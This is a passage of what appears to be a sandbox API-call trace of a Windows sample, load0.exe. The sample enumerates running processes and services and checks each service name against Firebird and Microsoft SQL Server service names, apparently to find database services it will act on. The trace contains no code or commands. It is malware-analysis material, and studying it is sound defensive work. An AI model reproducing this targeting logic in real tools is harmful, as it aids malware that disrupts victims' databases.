th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.458] lstrlenW (lpString="lsass.exe") returned 9 [0281.458] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.459] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.459] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.459] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.459] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.460] lstrlenW (lpString="svchost.exe") returned 11 [0281.460] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.462] lstrlenW (lpString="svchost.exe") returned 11 [0281.462] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0281.462] lstrlenW (lpString="dwm.exe") returned 7 [0281.463] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.463] lstrlenW (lpString="svchost.exe") returned 11 [0281.463] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.464] lstrlenW (lpString="svchost.exe") returned 11 [0281.464] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.465] lstrlenW (lpString="svchost.exe") returned 11 [0281.465] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.466] lstrlenW (lpString="svchost.exe") returned 11 [0281.466] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.467] lstrlenW (lpString="svchost.exe") returned 11 [0281.467] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.470] lstrlenW (lpString="svchost.exe") returned 11 [0281.470] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.471] lstrlenW (lpString="svchost.exe") returned 11 [0281.471] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.472] lstrlenW (lpString="svchost.exe") returned 11 [0281.472] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.473] lstrlenW (lpString="svchost.exe") returned 11 [0281.473] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.474] lstrlenW (lpString="svchost.exe") returned 11 [0281.474] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.475] lstrlenW (lpString="spoolsv.exe") returned 11 [0281.475] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.476] lstrlenW (lpString="svchost.exe") returned 11 [0281.476] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0281.477] lstrlenW (lpString="audiodg.exe") returned 11 [0281.477] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0281.478] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0281.478] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0281.479] lstrlenW (lpString="Memory Compression") returned 18 [0281.479] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0281.479] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0281.479] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0281.480] lstrlenW (lpString="sihost.exe") returned 10 [0281.481] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.481] lstrlenW (lpString="svchost.exe") returned 11 [0281.481] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0281.482] lstrlenW (lpString="taskhostw.exe") returned 13 [0281.482] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0281.721] lstrlenW (lpString="msoia.exe") returned 9 [0281.721] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.722] lstrlenW (lpString="explorer.exe") returned 12 [0281.722] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0281.723] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0281.723] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0281.724] lstrlenW (lpString="SearchUI.exe") returned 12 [0281.724] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0281.725] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0281.725] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0281.726] lstrlenW (lpString="load0.exe") returned 9 [0281.726] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0281.727] lstrlenW (lpString="load0.exe") returned 9 [0281.727] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0281.728] CloseHandle (hObject=0x11a8) returned 1 [0281.728] Sleep (dwMilliseconds=0x1f4) [0282.509] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f646e0 [0282.510] EnumServicesStatusExW (in: hSCManager=0x3f646e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0282.510] GetLastError () returned 0xea [0282.510] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1d10) returned 0x3240080 [0282.510] EnumServicesStatusExW (in: hSCManager=0x3f646e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3240080, cbBufSize=0x1d10, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3240080, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0282.511] CloseServiceHandle (hSCObject=0x3f646e0) returned 1 [0282.511] lstrlenW (lpString="Appinfo") returned 7 [0282.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0282.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0282.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0282.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0282.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0282.512] lstrlenW (lpString="AppXSvc") returned 7 [0282.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0282.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0282.512] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0282.512] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0282.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0282.512] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0282.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0282.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0282.512] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0282.512] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0282.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0282.512] lstrlenW (lpString="Audiosrv") returned 8 [0282.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0282.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0282.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0282.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0282.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0282.512] lstrlenW (lpString="BFE") returned 3 [0282.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0282.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0282.512] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0282.512] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0282.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0282.512] lstrlenW (lpString="BITS") returned 4 [0282.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0282.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0282.512] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0282.513] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0282.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0282.513] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0282.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0282.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0282.513] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0282.513] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0282.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0282.513] lstrlenW (lpString="CDPSvc") returned 6 [0282.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0282.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0282.513] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0282.513] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0282.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0282.513] lstrlenW (lpString="ClickToRunSvc") returned 13 [0282.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0282.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0282.513] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0282.513] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0282.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0282.513] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0282.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0282.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0282.513] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0282.513] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0282.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0282.513] lstrlenW (lpString="CryptSvc") returned 8 [0282.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0282.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0282.513] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0282.513] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0282.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0282.513] lstrlenW (lpString="DcomLaunch") returned 10 [0282.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0282.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0282.514] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0282.514] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0282.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0282.514] lstrlenW (lpString="DeviceAssociationService") returned 24 [0282.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0282.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0282.514] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0282.514] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0282.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0282.514] lstrlenW (lpString="Dhcp") returned 4 [0282.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0282.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0282.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0282.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0282.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0282.514] lstrlenW (lpString="Dnscache") returned 8 [0282.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0282.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0282.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0282.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0282.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0282.514] lstrlenW (lpString="DPS") returned 3 [0282.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0282.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0282.514] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0282.514] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0282.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0282.514] lstrlenW (lpString="DusmSvc") returned 7 [0282.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0282.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0282.515] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0282.515] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0282.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0282.515] lstrlenW (lpString="EventLog") returned 8 [0282.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0282.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0282.515] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0282.515] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0282.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0282.515] lstrlenW (lpString="EventSystem") returned 11 [0282.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0282.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0282.515] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0282.515] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0282.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0282.515] lstrlenW (lpString="FontCache") returned 9 [0282.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0282.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0282.515] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0282.515] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0282.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0282.515] lstrlenW (lpString="gpsvc") returned 5 [0282.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0282.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0282.515] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0282.515] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0282.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0282.515] lstrlenW (lpString="iphlpsvc") returned 8 [0282.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0282.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0282.515] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0282.515] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0282.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0282.516] lstrlenW (lpString="KeyIso") returned 6 [0282.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0282.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0282.516] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0282.516] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0282.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0282.516] lstrlenW (lpString="LanmanServer") returned 12 [0282.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0282.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0282.516] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0282.516] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0282.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0282.516] lstrlenW (lpString="LanmanWorkstation") returned 17 [0282.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0282.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0282.516] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0282.516] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0282.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0282.516] lstrlenW (lpString="lfsvc") returned 5 [0282.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0282.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0282.516] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0282.516] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0282.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0282.516] lstrlenW (lpString="lmhosts") returned 7 [0282.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0282.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0282.516] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0282.516] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0282.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0282.516] lstrlenW (lpString="LSM") returned 3 [0282.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0282.516] lstrcmpiW 